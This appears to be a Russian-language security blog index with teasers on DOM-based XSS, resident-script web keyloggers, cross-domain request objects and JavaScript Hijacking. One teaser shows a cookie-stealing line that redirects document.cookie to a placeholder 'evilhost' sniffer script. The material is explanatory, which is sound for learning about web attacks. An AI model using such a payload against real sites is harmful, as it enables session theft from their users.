XSS через DOM

Всем известны два типа XSS:

  • Пассивные XSS (reflected или Type 1 XSS) – переданные данные отражаются в HTML-коде страницы только для конкретного пользователя
  • Активные XSS (persistent или Type 2 XSS) – постоянные XSS; злонамеренные данные хранятся на сервере – все пользователи сайта могут быть подвержены данной атаке

Однако далеко не всем известен еще один тип XSS, а именно межсайтовый скриптинг через DOM (DOM-based или Type 0 (3) XSS). Объектная модель документа (DOM) является формой отображения иерархии HTML (а также XML) для JavaScript. XSS-атаки через DOM возможны благодаря недостаточной обработке на уровне JavaScript таких объектов DOM, как document.URL, document.location, document.referrer и некоторых других. Принципиальным отличием данного типа XSS является тот факт, что данные вообще не встраиваются в HTML-код. Несомненно, это вызывает определенные трудности для систем IDS в плане выяления фактов атак и эффективной фильтрации входящих данных, так как уязвимость заключена не на стороне серверных скриптов, а прямо в JavaScript-коде. Read more »

Вы верите в призраков?

Довольно любопытный пост недавно появился на GNUCITIZEN. В нем рассказывается о новом способе слежения за пользователями, с помощью которого вполне реально создать настоящий веб кейлоггер, активизирующийся после нажатия по обычной ссылке. Ссылка, естественно, не простая 😉 Итак, вот мой перевод поста.

Существует несколько конференций, которые проводятся закрыто, и их уровень обычно довольно высок. Одной из них является конференция BlueHat, которую проводит Microsoft. BlueHat – это внутреннее мероприятие MS, однако компания приглашает множество специалистов по безопасности со всего мира. Вместе с парой моих друзей я присутствовал на ней, и, несомненно, она оказалось довольно занимательной. Особенно нас заинтересовала речь Мануэля Кабаллеро (Manuel Caballero), которая была презентована под названием «Житель в моем домене» («A resident in my domain»). Анонс его выступления был по-настоящему интригующим:

Вы верите в приведения? Представьте невидимый скрипт, который бесшумно следует за Вами, в то время как Вы посещаете страницы в интернете, даже после того, как Вы сменили адрес тысячу раз, чувствуя себя в совершенной безопасности. Теперь представьте, что приведение способно видеть все, что Вы делаете, включая, страницы, которые Вы посещаете, набираемый Вами текст (включая пароли), и даже предугадать Ваш следующий шаг.

Не требуется никаких загрузок, не нужны подтверждения пользователя и ActiveX. Другими словами: никаких дописываемых строк. Мы изучим силу скриптов- резидентов (resident scripts) и силу глобального междомена (global cross-domain). Также мы исследуем методы обнаружения междоменов и скриптов-резидентов.

Read more »

XDomainRequest vs XMLHttpRequest

Этот пост является продолжением недавней статьи, в которой описывались методы удаленного взаимодействия с сервером посредством JavaScript, в частности с помощью AJAX. Как Вы уже знаете, в FireFox 3 JS-объект XMLHttpRequest будет иметь возможность посылать запросы на сторонние сайты. Microsoft по-видимому снова решила выделиться и вместо того, чтобы унифицировать интерфейс для отправки запросов, решила внедрить новый объект в Internet Explorer 8, который также будет способен делать междоменные вызовы. Заметьте, что до этого в IE использовался (собственно и сейчас используется) свой объект ActiveX с названием Microsoft.XMLHTTP, однако вместо его изменения, как поступили разработчики FF с XMLHttpRequest, мелкомягкие решили создать полностью новый, и при этом он не будет связан с ActiveX! Напрашивается вопрос: раз уж принялись за создание нового объекта, почему бы не сделать его максимально универсальным? Мне непонятно такое стремление, впрочем, как и всем разработчикам, среди которых данное решение поддержки однозначно не найдет.

Read more »

HTML & JS: взаимодействие с удаленным сервером

Сегодня я хотел бы рассмотреть существующие методы для обращения клиента через браузер к стороннему серверу. Для чего это нужно злоумышленникам? Все очень просто: для реализации атак вида XSS (Cross Site Scripting) и CSRF (Cross Site Request Frogery). В большинстве случаев хакеру требуется сделать GET-запрос к своему серверу; как правило, это достигается путем использования двух основных приемов:

  1. перенаправление с помощью location.replace()
    document.location.replace("http://evilhost/snif.php?c="+document.cookie);
  2. динамическое создание или вставка тэгов, имеющих аттрибуты src или background; при этом источником этих элементов является сервер злоумышленника. Это могут быть тэги img, iframe, frame, script, link, table и многие другие. Read more »

Javascript Hijacking

Авторы: Brian Chess, Yekaterina Tsipenyuk O’Neil, Jacob West ({brian, katrina, jacob}@fortifysoftware.com)
Дата: 12 марта 2007 года
Перевод: Raz0r
Оригинальная статья: _http://www.fortifysoftware.com/servlet/downloads/public/JavaScript_Hijacking.pdf

Возрастающее количество современных Веб-приложений, часто называемых AJAX-приложениями, используют JavaScript как средство передачи информации. Данная статья описывает уязвимость, которую мы называем JavaScript Hijacking (hijacking – нападение, ограбление), позволяющую злоумышленникам получать доступ к конфиденциальной информации, содержащуюся в JS-сообщениях. Атака проводится благодаря тэгу <script>, с помощью которого возможен обход Same Origin Policy. Традиционные веб-приложения неуязвимы к описываемой атаке, так как не используют JS как метод передачи информации.
Мы исследовали 12 популярных AJAX-фреймворков , включая 4 серверных набора утилит – Direct Web Remoting (DWR), Microsoft ASP.NET Ajax (aka Atlas), xajax и Google Web Toolkit (GWT) – и 8 исключительно клиентских библиотек – Prototype, Script.aculo.us, Dojo, Moo.fx, jQuery,Yahoo! UI, Rico, и MochiKit. Мы определили, что среди них лишь в DWR 2.0 включены механизмы по предотвращению JavaScript Hijacking. Остальная же часть не предоставляет какой-либо защиты. Большинство самостоятельно написанных фреймоворков также уязвимы. Read more »

« Previous Page